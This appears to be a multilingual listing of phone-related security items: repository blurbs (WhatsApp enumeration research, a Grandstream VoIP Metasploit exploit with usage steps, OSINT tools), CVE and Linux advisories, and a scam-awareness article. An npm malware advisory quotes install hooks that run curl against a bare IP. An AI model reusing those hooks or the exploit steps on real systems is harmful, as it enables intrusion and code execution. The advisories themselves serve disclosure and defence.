whatsapp-census

Hey! Du nutzt WhatsApp Dies ist das GitHub-Repository für die erweiterte Version des Papers Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy. Zusammenfassung WhatsApp ist mit 3,5 Milliarden aktiven Konten Stand Anfang 2025 die größte...

gxv3175-remote-code-exec

Esecuzione remota di codice per il telefono VOIP Grandstream GXV3175. === INSTALLAZIONE === Copia i file nella stessa struttura di directory sotto la directory di livello principale di metasploit === USO === nella msfconsole use exploits/linux/http/grandstreamgxv3175cmdexec set RHOST 192.168.0.1...

CVE-2026-15985

The Classified Listing – Mobile Number Verification WordPress plugin is vulnerable to unauthenticated authentication bypass in all versions up to and including 1.6.0 . The root cause is missing server-side Firebase OTP validation in the process_otp_login() function, allowing an attacker to authen...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: wireshark (UTSA-2026-104776)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-104776 advisory. 3gpp phone log file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service Tenable has extracted the preceding description block directly from t...

CVE-2020-3161

CVE-2020-3161 Cisco IP Phone 11.7 - Denial of Service PoC...

AdTran-Personal-Phone-Manager-Vulns

AdTran-Personal-Phone-Manager-Vulns Un repository che ospita write-up per le vulnerabilità zero-day CVE-2021-25679, CVE-2021-25680 e CVE-2021-25681. Riepilogo CVE-2021-25679: Adtran Personal Phone Manager XSS Memorizzato Autenticato nel modulo di modifica dell'indirizzo email CVE-2021-25680: Adtr...

AndroidAuto

Open Android Auto Android Auto फ़ोन-साइड ऐप का एक ओपन-सोर्स कार्यान्वयन। यह ऐप आपके फ़ोन पर चलता है और USB के माध्यम से कार के हेड यूनिट पर प्रोजेक्ट करता है, जो Google के मालिकाना com.google.android.projection.gearhead APK की जगह लेता है। ⚠️ कार्य प्रगति पर है यह प्रोजेक्ट प्रारंभिक विकास चरण में...

osint-suspicious-recruitment-case

Investigação OSINT: Caso de Recrutamento Suspeito Este repositório documenta uma investigação OSINT Open Source Intelligence focada numa atividade de recrutamento suspeita ligada a múltiplas plataformas, números de telefone e serviços online. O objetivo deste projeto é analisar padrões,...

Astra Linux – Vulnerability in Zabbix

Zabbix allows for the configuration of SMS notifications. AT command injection occurs on the “Zabbix Server” because there is no validation of the “Number” field either on the web interface or on the Zabbix server side. An attacker can send specially crafted phone numbers via SMS and execute...

escort-network-osint

Indagine OSINT su Rete di Escort Panoramica Questo progetto analizza una rete di annunci relativi a escort su più piattaforme, identificando modelli di infrastruttura condivisa, riutilizzo dell'identità e coordinamento centralizzato. Obiettivi Identificare relazioni tra profili, numeri di telefon...

osint-pattern-analyzer

Analizzatore di Pattern OSINT Strumento per automatizzare le indagini OSINT su molteplici vettori identitativi numeri di telefono, nomi utente e futuro supporto email, progettato per estrarre dati strutturati e abilitare il rilevamento di pattern e l'analisi di correlazione. Caratteristiche...

MAL-2026-14395 Malicious code in sm-billing-form (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 422b9f6c71b124deff27a41ef4b595c308595c14af77dbd3756de0e625f86fc2 package.json defines preinstall and postinstall lifecycle scripts that run curl -s http://16.192.173.5/sm-billing-form/pre and curl -s...

CVE-2026-64970 Stored XSS in ATutor

ATutor is vulnerable to Stored Cross Site Scripting in registration functionality. An attacker can register a new account and enter a JavaScript payload in the phone field during registration. When any authenticated user visits the attacker's public profile, the profile template echoes the phone...

CVE-2026-64970 Stored XSS in ATutor

ATutor is vulnerable to Stored Cross Site Scripting in registration functionality. An attacker can register a new account and enter a JavaScript payload in the phone field during registration. When any authenticated user visits the attacker's public profile, the profile template echoes the phone...

Linux Distros Unpatched Vulnerability : CVE-2026-76920

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - 3gpp phone log file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service CVE-2026-76920 Note that Nessus relies on the presence of the...

CVE-2026-76920

3gpp phone log file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service...

CVE-2026-76920

3gpp phone log file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service...

CVE-2026-76920

Wireshark versions 4.6.0–4.6.7 and 4.4.0–4.4.18 contain an out-of-bounds write in the 3GPP phone log file parser, triggered by a crafted log file, causing a denial-of-service crash. CVSS 4.7 (Medium) requires local access and user interaction. No in-the-wild exploitation is reported; upgrade to a...

CVE-2026-76920 Out-of-bounds Write in Wireshark

3gpp phone log file parser crash in 4.6.0 to 4.6.7 and 4.4.0 to 4.4.18 allows denial of service...

Your polite reply to that text is worth $2 on the dark web

Most wrong-number texts are harmless. Some are the first step in a carefully planned scam. By replying, you may be confirming that your number is active and that you're willing to engage with strangers, making you a more valuable target for future fraud. Here's why a polite response can be worth...